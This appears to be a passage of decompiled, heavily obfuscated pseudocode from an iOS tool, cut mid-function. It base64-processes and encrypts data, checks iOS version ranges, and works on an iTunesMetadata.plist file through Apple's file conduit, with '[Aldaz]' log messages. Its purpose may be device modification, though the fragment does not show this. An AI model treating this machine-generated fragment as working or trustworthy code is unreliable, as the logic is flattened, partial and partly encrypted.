*v257 = 326923578;
break;
case -1044629364:
v95 = objc_msgSend(v196, "mutableCopy");
objc_msgSend(v95, v238);
*v257 = 775116485;
break;
case -1018037738:
v24 = objc_msgSend(v232, v133, &stru_10025B688);
v192 = objc_retainAutoreleasedReturnValue(v24);
v25 = objc_alloc((Class)&OBJC_CLASS___NSData);
v203 = objc_msgSend(v25, "initWithBase64EncodedString:options:", v192, 0);
*v257 = 1233612359;
break;
}
}
}
else if ( v186 <= -1123684896 )
{
if ( v186 == -1191727270 )
{
*v257 = 241275896;
}
else if ( v186 == -1140133340 )
{
*v257 = -718597982;
}
}
else
{
switch ( v186 )
{
case -1123684895:
*v257 = -357845440;
break;
case -1120046701:
v8 = 1;
v4 = 1983647891;
v9 = 932220565;
goto LABEL_788;
case -1113538242:
v3 = 0;
v147 = "addObject:";
v4 = -845017388;
v5 = -1113538242;
goto LABEL_784;
}
}
}
if ( v186 <= 936768464 )
break;
if ( v186 <= 1543539210 )
{
if ( v186 <= 1195592510 )
{
if ( v186 <= 1052052125 )
{
if ( v186 <= 1019267888 )
{
if ( v186 > 960229107 )
{
if ( v186 == 960229108 )
{
*v257 = 1046028317;
}
else if ( v186 == 973055150 )
{
objc_release(v167);
objc_release(v194);
*v257 = 1634044408;
}
}
else if ( v186 == 936768465 )
{
*v257 = -124667376;
}
else if ( v186 == 949598240 )
{
HikariFunctionWrapper_18089(v234, v135);
*v257 = -1140133340;
}
}
else if ( v186 <= 1045714506 )
{
if ( v186 == 1019267889 )
{
*v257 = -376164869;
}
else if ( v186 == 1023333811 )
{
*v257 = -1328860117;
}
}
else
{
switch ( v186 )
{
case 1045714507:
v8 = 0;
v4 = 26413154;
v9 = 1060693990;
LABEL_788:
if ( v8 )
v4 = v9;
goto LABEL_799;
case 1046028317:
v3 = 0;
v4 = 1702954162;
v5 = 960229108;
LABEL_784:
if ( v3 )
v4 = v5;
goto LABEL_799;
case 1046912938:
v19 = HikariFunctionWrapper_18075(v200, "stringByAppendingPathComponent:");
v213 = objc_retainAutoreleasedReturnValue(v19);
objc_release(v200);
v8 = 0;
*v227 = 0;
v4 = -1729514256;
v9 = 1046912938;
goto LABEL_788;
}
}
}
else if ( v186 > 1137119722 )
{
if ( v186 <= 1163589078 )
{
if ( v186 == 1137119723 )
{
v8 = 0;
v168 = "setObject:forKeyedSubscript:";
v4 = -1467382771;
v9 = -1404600349;
goto LABEL_788;
}
if ( v186 == 1147629251 )
*v257 = 228669796;
}
else
{
switch ( v186 )
{
case 1163589079:
*v257 = 107283012;
v177 = v197;
v178 = (void *)v140;
break;
case 1189257070:
*v257 = -884057202;
break;
case 1190043462:
LABEL_318:
*v257 = -362896199;
break;
}
}
}
else if ( v186 <= 1109900769 )
{
if ( v186 == 1052052126 )
{
v13 = 1;
v4 = 627709932;
v14 = 1052052126;
goto LABEL_780;
}
if ( v186 == 1060693990 )
*v257 = 1045714507;
}
else
{
switch ( v186 )
{
case 1109900770:
HikariFunctionWrapper_18125(v233, v238);
*v257 = -1439055097;
break;
case 1112413922:
v16 = v251 == 0;
v4 = 1631452658;
v17 = -1714899794;
goto LABEL_797;
case 1114800710:
v16 = !v253;
v4 = -1797369825;
v17 = -40679851;
goto LABEL_797;
}
}
}
else if ( v186 > 1379966998 )
{
if ( v186 > 1454526515 )
{
if ( v186 <= 1488705987 )
{
if ( v186 == 1454526516 )
{
v225 = (unsigned __int16)objc_msgSend(v224, "characterAtIndex:", 7781);
HikariFunctionWrapper_18109(v224, "replaceCharactersInRange:withString:");
v16 = 0;
v4 = -1579136976;
v17 = -1879026387;
goto LABEL_797;
}
if ( v186 == 1465587037 )
{
v13 = 1;
v4 = -265381881;
v14 = 1632139063;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case 1488705988:
v13 = 1;
v148 = "mutableCopy";
v149 = "copy";
v4 = 1991519443;
v14 = -316714039;
goto LABEL_780;
case 1493473646:
v13 = 0;
v4 = 1493473646;
v14 = 929253391;
goto LABEL_780;
case 1532188180:
v33 = objc_msgSend(v230, v238);
v34 = (unsigned __int64)v33 - v198;
if ( v34 >= 0x44 )
v34 = 68;
v35 = objc_msgSend(v230, v146, v198, v34);
v36 = objc_retainAutoreleasedReturnValue(v35);
objc_msgSend(v232, v147, v36);
objc_release(v36);
v151 = v198 + 68;
v37 = objc_msgSend(v230, v238);
v248 = v151 < (unsigned __int64)v37;
v3 = 0;
v4 = 1653101562;
v5 = 1983055402;
goto LABEL_784;
}
}
}
else if ( v186 <= 1394917126 )
{
if ( v186 == 1379966999 )
{
*v257 = -479380606;
}
else if ( v186 == 1389455474 )
{
*v257 = -1113538242;
}
}
else
{
switch ( v186 )
{
case 1394917127:
v107 = objc_msgSend(
v234,
"objectForKeyedSubscript:",
CFSTR("\xD5\x6E\x10\r\x88\xDA\xD2\x9D~H"));
objc_retainAutoreleasedReturnValue(v107);
+[NSData class](&OBJC_CLASS___NSData, "class");
*v257 = 1195592511;
break;
case 1404166827:
HikariFunctionWrapper_18105(&stru_100284170.isa);
objc_release(v206);
*v257 = 1889805532;
break;
case 1427258820:
LABEL_587:
*v257 = -368975657;
break;
}
}
}
else if ( v186 > 1270264096 )
{
if ( v186 <= 1283433233 )
{
if ( v186 == 1270264097 )
{
v3 = 0;
v4 = -2139671940;
v5 = -709400097;
goto LABEL_784;
}
if ( v186 == 1275232615 )
*v257 = 1209687027;
}
else
{
switch ( v186 )
{
case 1283433234:
*v257 = -1653308344;
v172 = v129;
break;
case 1352459534:
strcpy(asc_100284085, "CacheData");
strcpy(aY_15, "[Aldaz] Error serializando plist final: %@");
byte_1002803F0 = 105;
byte_1002803F1 = 84;
byte_1002803F2 = 117;
*v257 = -1006512369;
break;
case 1367585270:
v32 = -1653308344;
if ( v242 )
v32 = -132133963;
*v257 = v32;
v172 = v130;
break;
}
}
}
else if ( v186 <= 1233612358 )
{
if ( v186 == 1195592511 )
{
v74 = objc_msgSend(
v234,
"objectForKeyedSubscript:",
CFSTR("\xD5\x6E\x10\r\x88\xDA\xD2\x9D~H"));
v226 = objc_retainAutoreleasedReturnValue(v74);
v75 = +[NSData class](&OBJC_CLASS___NSData, "class");
v8 = 1;
v144 = v75;
v4 = 1394917127;
v9 = 1941389122;
goto LABEL_788;
}
if ( v186 == 1209687027 )
{
a2 = v191;
v249 = v191 > 18.5;
v250 = v191 <= 18.8;
v8 = 0;
v4 = -1687167234;
v9 = 1209687027;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case 1233612359:
v3 = v203 == 0;
v4 = -1992300546;
v5 = -299383773;
goto LABEL_784;
case 1235967008:
*v257 = 808351876;
v175 = 0;
break;
case 1254178725:
v11 = +[NSMutableData data](&OBJC_CLASS___NSMutableData, "data", 1265999808);
v12 = objc_retainAutoreleasedReturnValue(v11);
v13 = 1;
v229 = v12;
v4 = -621550086;
v14 = 1861817249;
goto LABEL_780;
}
}
}
else if ( v186 > 1772409925 )
{
if ( v186 > 1894465568 )
{
if ( v186 > 1989296721 )
{
if ( v186 <= 2013851048 )
{
if ( v186 == 1989296722 )
{
v8 = 1;
v4 = 1748150896;
v9 = 713532199;
goto LABEL_788;
}
if ( v186 == 1991519443 )
*v257 = -1205829651;
}
else
{
switch ( v186 )
{
case 2013851049:
*v257 = -1847278583;
break;
case 2016000227:
*v257 = 61382686;
break;
case 2139207837:
v22 = objc_msgSend(v226, "base64EncodedStringWithOptions:", 0);
v230 = objc_retainAutoreleasedReturnValue(v22);
v23 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
v232 = objc_retainAutoreleasedReturnValue(v23);
v247 = objc_msgSend(v230, v238) == 0;
v13 = 1;
v4 = -1227707013;
v14 = -934392998;
goto LABEL_780;
}
}
}
else if ( v186 <= 1955545170 )
{
if ( v186 == 1894465569 )
{
v13 = 1;
v4 = -1491735264;
v14 = -460430558;
goto LABEL_780;
}
if ( v186 == 1941389122 )
*v257 = -1120046701;
}
else
{
switch ( v186 )
{
case 1955545171:
*v257 = -257650967;
break;
case 1983055402:
v88 = (char *)HikariFunctionWrapper_18119(v230, v238);
v89 = (__int64)&v88[-v198];
if ( (unsigned __int64)&v88[-v198] >= 0x44 )
v89 = 68;
v90 = objc_msgSend(v230, v146, v198, v89);
v91 = objc_retainAutoreleasedReturnValue(v90);
HikariFunctionWrapper_18121(v232, v147);
objc_release(v91);
objc_msgSend(v230, v238);
*v257 = 1532188180;
break;
case 1983647891:
HikariFunctionWrapper_18117(v226, "isKindOfClass:");
*v257 = 932220565;
break;
}
}
}
else if ( v186 > 1872241190 )
{
if ( v186 <= 1883309173 )
{
if ( v186 == 1872241191 )
{
HikariFunctionWrapper_18141(v207, v171);
objc_release(v207);
v71 = encryptMyData(v216);
objc_retainAutoreleasedReturnValue(v71);
*v257 = -1821482234;
}
else if ( v186 == 1883153563 )
{
v13 = 0;
v4 = 1109900770;
v14 = -1439055097;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case 1883309174:
objc_release(v138);
*v257 = -1629152973;
break;
case 1889805532:
v92 = objc_msgSend(v226, "base64EncodedStringWithOptions:", 0);
v196 = objc_retainAutoreleasedReturnValue(v92);
*v257 = -301782116;
break;
case 1893928776:
v8 = 0;
v131 = "count";
v132 = "objectAtIndexedSubscript:";
v4 = -1123684895;
v9 = -1750233003;
goto LABEL_788;
}
}
}
else if ( v186 <= 1819674813 )
{
if ( v186 == 1772409926 )
{
*v257 = -504641386;
}
else if ( v186 == 1784585466 )
{
*v257 = -191161905;
}
}
else
{
switch ( v186 )
{
case 1819674814:
v150 = "setObject:atIndexedSubscript:";
*v257 = -237094435;
break;
case 1848778682:
NSLog(
CFSTR("\xC2\x0B \x05\xB6\x93\xC9\x59\x11\xE1\xAB\x3E^a\x8E\xC2\x33\xA7\x96\xF2\x94\x45\xE8\xFF\x9C<ԋ^Rt\xC4\xD7\xE2\x07\xAD\x1Ep!\xDF\xF3"),
v202);
objc_release(v202);
v8 = 1;
v4 = 1848778682;
v9 = 936768465;
goto LABEL_788;
case 1861817249:
v15 = +[NSMutableData data](&OBJC_CLASS___NSMutableData, "data");
objc_retainAutoreleasedReturnValue(v15);
*v257 = 1254178725;
break;
}
}
}
else if ( v186 > 1634044407 )
{
if ( v186 > 1702954161 )
{
if ( v186 <= 1723072056 )
{
if ( v186 == 1702954162 )
{
v72 = 1989296722;
if ( v245 )
v72 = 107283012;
*v257 = v72;
v177 = 0;
v178 = 0;
}
else if ( v186 == 1709965944 )
{
*v257 = 1883309174;
}
}
else
{
switch ( v186 )
{
case 1723072057:
*v257 = 1673872915;
break;
case 1748150896:
v93 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v94 = objc_retainAutoreleasedReturnValue(v93);
-[NSString doubleValue](v94, "doubleValue");
*v257 = 713532199;
break;
case 1764668473:
v20 = objc_msgSend(&OBJC_CLASS___iOSDevice, v214);
v21 = objc_retainAutoreleasedReturnValue(v20);
NSLog(
CFSTR("눥梮ﵠ腤蘧伨㴁⮌\x4D\xDB\x3B\xCA㡘橕࠺ꡣטᩣ窅鉍ᴮ\uFE75㎣幊姁꺉\u321F㐓拮㦕吋ᶈ\u0FE3艏蚿︗齣ݥ躡\u1C8Dޝ\x47\xDE䞁ꂠ苭錸觍퍦⟳歄㏓"),
v21);
objc_release(v21);
*v257 = -107707583;
break;
}
}
}
else if ( v186 <= 1667074363 )
{
if ( v186 == 1634044408 )
{
objc_release(v167);
objc_release(v194);
v8 = 0;
v4 = -1785151745;
v9 = 973055150;
goto LABEL_788;
}
if ( v186 == 1653101562 )
{
v50 = 1629518841;
if ( v248 )
v50 = 115175818;
*v257 = v50;
v173 = v151;
}
}
else
{
switch ( v186 )
{
case 1667074364:
objc_release(v192);
objc_release(v232);
*v257 = 601850021;
break;
case 1673872915:
v13 = 1;
v4 = -1861732821;
v14 = 293844718;
goto LABEL_780;
case 1692626151:
objc_release(v215);
*v257 = -814000460;
break;
}
}
}
else if ( v186 > 1612536086 )
{
if ( v186 <= 1629518840 )
{
if ( v186 == 1612536087 )
{
v13 = 0;
v4 = -649970442;
v14 = 367847903;
goto LABEL_780;
}
if ( v186 == 1619077126 )
{
AFCFileRefClose(v2);
v238 = "length";
v243 = HikariFunctionWrapper_18081(v229, "length") == 0;
v8 = 1;
v4 = -2016863975;
v9 = 1723072057;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case 1629518841:
v8 = 1;
v4 = -1750233003;
v9 = 1893928776;
goto LABEL_788;
case 1631452658:
v13 = 1;
v4 = 61382686;
v14 = 2016000227;
goto LABEL_780;
case 1632139063:
*v257 = -265381881;
break;
}
}
}
else if ( v186 <= 1569902581 )
{
if ( v186 == 1543539211 )
{
objc_release(v224);
*v257 = -1880130008;
}
else if ( v186 == 1563924483 )
{
v16 = 0;
v4 = -1301887632;
v17 = 9499960;
goto LABEL_797;
}
}
else
{
switch ( v186 )
{
case 1569902582:
*v257 = 1493473646;
break;
case 1593258690:
v87 = objc_msgSend(&OBJC_CLASS___iOSDevice, v214);
v206 = objc_retainAutoreleasedReturnValue(v87);
*v257 = 587120820;
break;
case 1597280781:
*v257 = -526605660;
break;
}
}
}
if ( v186 <= 293047915 )
break;
if ( v186 > 627709931 )
{
if ( v186 > 789064652 )
{
if ( v186 > 907047103 )
{
if ( v186 <= 924600902 )
{
if ( v186 == 907047104 )
{
v16 = 0;
v4 = 1872241191;
v17 = -1821482234;
goto LABEL_797;
}
if ( v186 == 908159926 )
*v257 = 157543795;
}
else
{
switch ( v186 )
{
case 924600903:
objc_release(v145);
*v257 = 173626918;
break;
case 929253391:
*v257 = 249837137;
v182 = 0;
break;
case 932220565:
v245 = (unsigned __int8)objc_msgSend(v226, "isKindOfClass:", v144) == 0;
v13 = 1;
v4 = -986663258;
v14 = 1983647891;
goto LABEL_780;
}
}
}
else if ( v186 <= 843884381 )
{
if ( v186 == 789064653 )
{
*v257 = 588328042;
}
else if ( v186 == 808351876 )
{
v199 = v175;
v13 = 1;
v4 = -1299011795;
v14 = 119718522;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case 843884382:
v118 = -2097140105;
if ( v244 )
v118 = 361664604;
*v257 = v118;
v179 = v201;
v180 = 0;
break;
case 847803215:
v8 = 1;
v4 = -1724894175;
goto LABEL_730;
case 893948540:
objc_release(v205);
objc_release(v195);
v3 = 0;
v167 = *v164;
v4 = -2104903121;
v5 = 893948540;
goto LABEL_784;
}
}
}
else if ( v186 > 659095021 )
{
if ( v186 <= 713532198 )
{
if ( v186 == 659095022 )
{
v85 = objc_msgSend(v232, v132, v217);
v204 = objc_retainAutoreleasedReturnValue(v85);
*v257 = 1563924483;
}
else if ( v186 == 710238632 )
{
*v257 = -2058458452;
v176 = v139;
}
}
else
{
switch ( v186 )
{
case 713532199:
v214 = "iOSVersion";
v119 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v145 = objc_retainAutoreleasedReturnValue(v119);
HikariFunctionWrapper_18083(v145, "doubleValue");
v8 = 0;
v191 = a2;
v4 = 105458353;
v9 = 1748150896;
goto LABEL_788;
case 775116485:
v224 = objc_msgSend(v196, "mutableCopy");
v256 = (unsigned __int64)HikariFunctionWrapper_18107(v224, v238) >= 0x1E66;
v8 = 0;
v4 = -1607791812;
goto LABEL_733;
case 788449593:
NSLog(CFSTR("닳袹藿荠鏥壙펟ꛜתּ뱵ꪀ曆Ṝᾗ͔컆Ө肘ꥈ왹皻솻㙜덿뚻遺樅蠮嫖ଣℕᚣ땓䲽떼⯅ᣳ餇㇀ظ㣱\x6C\xDA\xCF\xA6㟠"));
v13 = 0;
v4 = 788449593;
v14 = -678404946;
goto LABEL_780;
}
}
}
else if ( v186 <= 641848471 )
{
if ( v186 == 627709932 )
{
*v257 = 191273636;
v208 = v196;
}
else if ( v186 == 640420287 )
{
v8 = 1;
v4 = 973055150;
v9 = 1634044408;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case 641848472:
v231 = "numberWithInt:";
v113 = +[NSNumber numberWithInt:](&OBJC_CLASS___NSNumber, "numberWithInt:", 108);
v154 = objc_retainAutoreleasedReturnValue(v113);
*v218 = v154;
*v189 = CFSTR("\xFE\xD0\xB6\x83j");
v114 = objc_msgSend(&OBJC_CLASS___NSNumber, v231, 50);
v155 = objc_retainAutoreleasedReturnValue(v114);
*v188 = v155;
v189[1] = CFSTR("Xu\xDF\x19O");
v188[1] = CFSTR("\xCD\xDF");
v223 = "dictionaryWithObjects:forKeys:count:";
v115 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v188,
v189,
2);
v156 = objc_retainAutoreleasedReturnValue(v115);
*v212 = v156;
v116 = v218;
v117 = objc_msgSend(&OBJC_CLASS___NSNumber, v231, 109);
v157 = objc_retainAutoreleasedReturnValue(v117);
v116[1] = v157;
v158 = v212 + 1;
*v257 = -1798302446;
break;
case 655984322:
v8 = 0;
v4 = -1006512369;
v9 = 1352459534;
goto LABEL_788;
case 657236572:
*v257 = -1453014341;
break;
}
}
}
else if ( v186 > 404697665 )
{
if ( v186 > 521796874 )
{
if ( v186 <= 588328041 )
{
if ( v186 == 521796875 )
{
v169 = &OBJC_CLASS___NSFileManager;
v170 = "defaultManager";
*v257 = 1270264097;
}
else if ( v186 == 587120820 )
{
v16 = v255 == 0;
v4 = -417640600;
v17 = 1404166827;
goto LABEL_797;
}
}
else
{
switch ( v186 )
{
case 588328042:
v3 = 0;
v4 = -615745426;
v5 = 279702324;
goto LABEL_784;
case 590181479:
v141 = v181;
v8 = 1;
v4 = -1740466394;
v9 = -872359822;
goto LABEL_788;
case 601850021:
objc_release(v192);
objc_release(v232);
v16 = 0;
v4 = 601850021;
v17 = 1379966999;
goto LABEL_797;
}
}
}
else if ( v186 <= 484288571 )
{
if ( v186 == 404697666 )
{
v83 = HikariFunctionWrapper_18077(v2);
v209 = v83;
v84 = -1969549061;
if ( *v227 )
v84 = -68498020;
if ( v83 )
v84 = -1969549061;
*v257 = v84;
}
else if ( v186 == 461671977 )
{
byte_1002803F3 = v240 ^ 0xDA;
strcpy(&byte_1002803F4, "es_Control/iTunesMetadata.plist");
strcpy(asc_100283F40, "iTunesMetadata.plist");
aXu[0] = 99;
aXu[1] = 104;
aXu[2] = 97;
aXu[3] = 114;
aXu[4] = 0;
strcpy(asc_100283FF0, "[Aldaz] Error abriendo %s (status=%x)");
asc_100283AF0[0] = 91;
asc_100283AF0[1] = 65;
asc_100283AF0[2] = 108;
asc_100283AF0[3] = 100;
asc_100283AF0[4] = 97;
asc_100283AF0[5] = 122;
asc_100283AF0[6] = 93;
asc_100283AF0[7] = 32;
asc_100283AF0[8] = 69;
asc_100283AF0[9] = 114;
asc_100283AF0[10] = 114;
asc_100283AF0[11] = 111;
asc_100283AF0[12] = 114;
asc_100283AF0[13] = 32;
asc_100283AF0[14] = 114;
asc_100283AF0[15] = 101;
asc_100283AF0[16] = 99;
asc_100283AF0[17] = 111;
asc_100283AF0[18] = 110;
asc_100283AF0[19] = 115;
asc_100283AF0[20] = 116;
asc_100283AF0[21] = 114;
asc_100283AF0[22] = 117;
asc_100283AF0[23] = 121;
asc_100283AF0[24] = 101;
asc_100283AF0[25] = 110;
asc_100283AF0[26] = 100;
asc_100283AF0[27] = 111;
asc_100283AF0[28] = 32;
asc_100283AF0[29] = 66;
asc_100283AF0[30] = 97;
asc_100283AF0[31] = 115;
asc_100283AF0[32] = 101;
asc_100283AF0[33] = 54;
asc_100283AF0[34] = 52;
asc_100283AF0[35] = 32;
asc_100283AF0[36] = 40;
asc_100283AF0[37] = 49;
asc_100283AF0[38] = 56;
asc_100283AF0[39] = 46;
asc_100283AF0[40] = 57;
asc_100283AF0[41] = 8211;
asc_100283AF0[42] = 50;
asc_100283AF0[43] = 54;
asc_100283AF0[44] = 46;
asc_100283AF0[45] = 48;
asc_100283AF0[46] = 46;
asc_100283AF0[47] = 49;
asc_100283AF0[48] = 41;
asc_100283AF0[49] = 46;
asc_100283AF0[50] = 0;
aTReOZ[0] = 91;
aTReOZ[1] = 65;
aTReOZ[2] = 108;
aTReOZ[3] = 100;
aTReOZ[4] = 97;
aTReOZ[5] = 122;
aTReOZ[6] = 93;
aTReOZ[7] = 32;
aTReOZ[8] = 69;
aTReOZ[9] = 114;
aTReOZ[10] = 114;
aTReOZ[11] = 111;
aTReOZ[12] = 114;
aTReOZ[13] = 32;
aTReOZ[14] = 114;
aTReOZ[15] = 101;
aTReOZ[16] = 99;
aTReOZ[17] = 111;
aTReOZ[18] = 110;
aTReOZ[19] = 115;
aTReOZ[20] = 116;
aTReOZ[21] = 114;
aTReOZ[22] = 117;
aTReOZ[23] = 121;
aTReOZ[24] = 101;
aTReOZ[25] = 110;
aTReOZ[26] = 100;
aTReOZ[27] = 111;
aTReOZ[28] = 32;
aTReOZ[29] = 66;
aTReOZ[30] = 97;
aTReOZ[31] = 115;
aTReOZ[32] = 101;
aTReOZ[33] = 54;
aTReOZ[34] = 52;
aTReOZ[35] = 32;
aTReOZ[36] = 40;
aTReOZ[37] = 49;
aTReOZ[38] = 55;
aTReOZ[39] = 46;
aTReOZ[40] = 49;
aTReOZ[41] = 8211;
aTReOZ[42] = 49;
aTReOZ[43] = 56;
aTReOZ[44] = 46;
aTReOZ[45] = 53;
aTReOZ[46] = 41;
aTReOZ[47] = 46;
aTReOZ[48] = 0;
asc_100283EB0[0] = 91;
v236 = 65;
*v257 = -1831079276;
}
}
else
{
switch ( v186 )
{
case 484288572:
HikariFunctionWrapper_18139(CFSTR("ᵟᷝ⤰┳觫祮閳챎뵤ꊄ乙滛\xB1\xDF哮寔愃\x57\xDF\u0EEEࣩግ厎ז⟶Ꜷ三㯣픺\x17\xDE透䴊ᆄ饴涸䭦\uFAEC┊永ᗱ邕\u0DBC鞡џꜴ⡦枢疛顈몸爆"));
*v257 = -1904911710;
break;
case 489638280:
*v257 = 108757630;
break;
case 493694351:
*v257 = -1273446313;
break;
}
}
}
else if ( v186 > 361664603 )
{
if ( v186 <= 401391435 )
{
if ( v186 == 361664604 )
{
v8 = 1;
v4 = 1394917127;
v9 = 1195592511;
goto LABEL_788;
}
if ( v186 == 367847903 )
{
v8 = 1;
v210 = v225;
v4 = -649970442;
v9 = 493694351;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case 401391436:
*v257 = 249837137;
v182 = v141;
break;
case 403175847:
v112 = objc_msgSend(
v200,
"stringByAppendingPathComponent:",
CFSTR("\xAB\x04\x1C\xB8\xCD\x09\x0E\x05\x15U+\xE1\x88\x13Rj\x9F#5W"));
objc_retainAutoreleasedReturnValue(v112);
objc_release(v200);
*v227 = 0;
*v257 = 1046912938;
break;
case 403529325:
v8 = 0;
v4 = -1562633013;
v9 = -1883513584;
goto LABEL_788;
}
}
}
else if ( v186 <= 319090689 )
{
if ( v186 == 293047916 )
{
v217 = v174;
v82 = objc_msgSend(v232, v131);
v8 = v217 < (unsigned __int64)v82;
v4 = -241042887;
v9 = 659095022;
goto LABEL_788;
}
if ( v186 == 293844718 )
*v257 = -1861732821;
}
else
{
switch ( v186 )
{
case 319090690:
v8 = 0;
v4 = 1454526516;
v9 = -1579136976;
goto LABEL_788;
case 326923578:
v16 = 0;
v4 = 1667074364;
v17 = 601850021;
goto LABEL_797;
case 361054268:
v6 = objc_msgSend(&OBJC_CLASS___iOSDevice, v214);
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = 0;
v202 = v7;
v4 = -1947600631;
v9 = -800295247;
goto LABEL_788;
}
}
}
if ( v186 > 26413153 )
break;
if ( v186 > -68498021 )
{
if ( v186 > -40344549 )
{
if ( v186 <= 6585934 )
{
if ( v186 == -40344548 )
{
objc_msgSend(v234, v168, v215, CFSTR("\xD5\x6E\x10\r\x88\xDA\xD2\x9D~H"));
*v257 = -757615616;
}
else if ( v186 == -5278118 )
{
v16 = !v241;
v4 = -1822523345;
v17 = -132133963;
goto LABEL_797;
}
}
else
{
switch ( v186 )
{
case 6585935:
v86 = 641848472;
if ( v254 )
v86 = 808351876;
*v257 = v86;
v175 = v165;
break;
case 9499960:
v193 = objc_msgSend(v204, v148);
objc_release(v204);
HikariFunctionWrapper_18085(v193);
v134 = HikariFunctionWrapper_18087(v193, v149);
objc_msgSend(v232, v150, v134, v217);
v8 = 1;
v4 = 9499960;
v9 = -1993414534;
goto LABEL_788;
case 18252606:
NSLog(
CFSTR("\xC9\xEF\xFE\x88s\xC3\x49@I\xE3\x22\x841\xFAD\xA9[\xA4\xB8\xFAR\x01=j\xFC\xEF\xE4\xE2\xA6\x00YE\x1A`ֵ\xAA~"),
&byte_1002803F0,
v209);
*v257 = -604756443;
break;
}
}
}
else if ( v186 <= -50909009 )
{
if ( v186 == -68498020 )
{
v16 = 0;
v4 = 1861817249;
v17 = 1254178725;
goto LABEL_797;
}
if ( v186 == -55235706 )
{
v8 = 0;
v4 = -884057202;
v9 = 1189257070;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case -50909008:
*v257 = 949598240;
break;
case -48677401:
v221[1] = CFSTR("\xCD\xDF");
v76 = objc_msgSend(&OBJC_CLASS___NSDictionary, v223, v221, v222, 2);
v77 = objc_retainAutoreleasedReturnValue(v76);
*v162 = v77;
v78 = HikariFunctionWrapper_18099(&OBJC_CLASS___NSDictionary, v223);
v194 = objc_retainAutoreleasedReturnValue(v78);
objc_release(v77);
objc_release(v163);
objc_release(v161);
objc_release(v160);
objc_release(v159);
objc_release(v157);
objc_release(v156);
objc_release(v155);
objc_release(v154);
*v237 = _NSConcreteGlobalBlock;
*((_DWORD *)v237 + 2) = -796917760;
*((_DWORD *)v237 + 3) = 0;
v237[2] = (void **)__ReadiTunesMetadata_block_invoke;
v237[3] = (void **)&__block_descriptor_40_e38_v32__0__NSNumber_8__NSDictionary_16_24ls32l8;
v164 = (id *)(v237 + 4);
objc_retain(v235);
*v164 = v235;
objc_msgSend(v194, "enumerateKeysAndObjectsUsingBlock:", v237);
v79 = objc_msgSend(v235, "componentsJoinedByString:", &stru_10025B688);
v195 = objc_retainAutoreleasedReturnValue(v79);
v80 = HikariFunctionWrapper_18101((objc_class *)&OBJC_CLASS___NSData);
v81 = objc_msgSend(v80, "initWithBase64EncodedString:options:", v195, 0);
v253 = v81 == 0;
v205 = v81;
*v257 = 1114800710;
break;
case -40679851:
v8 = 1;
v4 = -139284754;
v9 = 893948540;
goto LABEL_788;
}
}
}
else if ( v186 > -124667377 )
{
if ( v186 <= -106469006 )
{
if ( v186 == -124667376 )
{
v13 = 0;
v4 = -934392998;
v14 = 2139207837;
goto LABEL_780;
}
if ( v186 == -107707583 )
{
v48 = objc_msgSend(&OBJC_CLASS___iOSDevice, v214);
v49 = objc_retainAutoreleasedReturnValue(v48);
NSLog(
CFSTR("눥梮ﵠ腤蘧伨㴁⮌\x4D\xDB\x3B\xCA㡘橕࠺ꡣטᩣ窅鉍ᴮ\uFE75㎣幊姁꺉\u321F㐓拮㦕吋ᶈ\u0FE3艏蚿︗齣ݥ躡\u1C8Dޝ\x47\xDE䞁ꂠ苭錸觍퍦⟳歄㏓"),
v49);
objc_release(v49);
v13 = 0;
v136 = "base64EncodedStringWithOptions:";
v4 = -107707583;
v14 = 1597280781;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case -106469005:
v201 = *v187;
*v257 = -1057256808;
break;
case -80770835:
*v257 = -40679851;
break;
case -78197178:
v16 = !v252;
v4 = -1687805526;
v17 = 641848472;
goto LABEL_797;
}
}
}
else if ( v186 <= -173954349 )
{
if ( v186 == -201419402 )
{
objc_retain(v201);
*v257 = -995840795;
}
else if ( v186 == -191161905 )
{
v13 = 0;
v4 = 1784585466;
v14 = 1235967008;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case -173954348:
*v257 = -312182806;
break;
case -139284754:
objc_release(v205);
objc_release(v195);
*v257 = 893948540;
break;
case -132133963:
v143 = *v227;
*v257 = -450654398;
break;
}
}
}
if ( v186 > 173626917 )
break;
if ( v186 > 107283011 )
{
if ( v186 <= 115175817 )
{
if ( v186 == 107283012 )
{
v66 = v178;
v67 = v177;
objc_release(v226);
*v257 = -2097140105;
v179 = v67;
v180 = v66;
}
else if ( v186 == 108757630 )
{
v8 = 1;
v4 = 1060693990;
v9 = 1045714507;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case 115175818:
v198 = v173;
v13 = 1;
v4 = 1532188180;
v14 = 1983055402;
goto LABEL_780;
case 119718522:
objc_msgSend(v233, v238);
v68 = HikariFunctionWrapper_18133(v233, v152);
v69 = objc_retainAutoreleasedReturnValue(v68);
objc_msgSend(v235, v153, v69);
objc_release(v69);
objc_msgSend(v233, v238);
*v257 = -1299011795;
break;
case 157543795:
v3 = 0;
v4 = 1046912938;
v5 = 403175847;
goto LABEL_784;
}
}
}
else if ( v186 <= 85453538 )
{
if ( v186 == 26413154 )
{
v16 = v246 == 0;
v4 = -1869058505;
v17 = -843396705;
goto LABEL_797;
}
if ( v186 == 61382686 )
{
*(_QWORD *)&a2 = *(_OWORD *)&_mm_cmple_pd(
(__m128d)*(unsigned __int64 *)&v191,
(__m128d)0x403A800000000000uLL)
& *(_OWORD *)&_mm_cmplt_pd(
(__m128d)0x4032CCCCCCCCCCCDuLL,
(__m128d)*(unsigned __int64 *)&v191);
v255 = LOBYTE(a2) & 1;
*v257 = -238061416;
}
}
else
{
switch ( v186 )
{
case 85453539:
v16 = 0;
v4 = -264228599;
v17 = -1944573149;
goto LABEL_797;
case 105458353:
*v257 = -276491168;
break;
case 106163674:
v8 = 1;
v4 = -647414602;
v9 = 1848778682;
goto LABEL_788;
}
}
}
if ( v186 > 239159222 )
break;
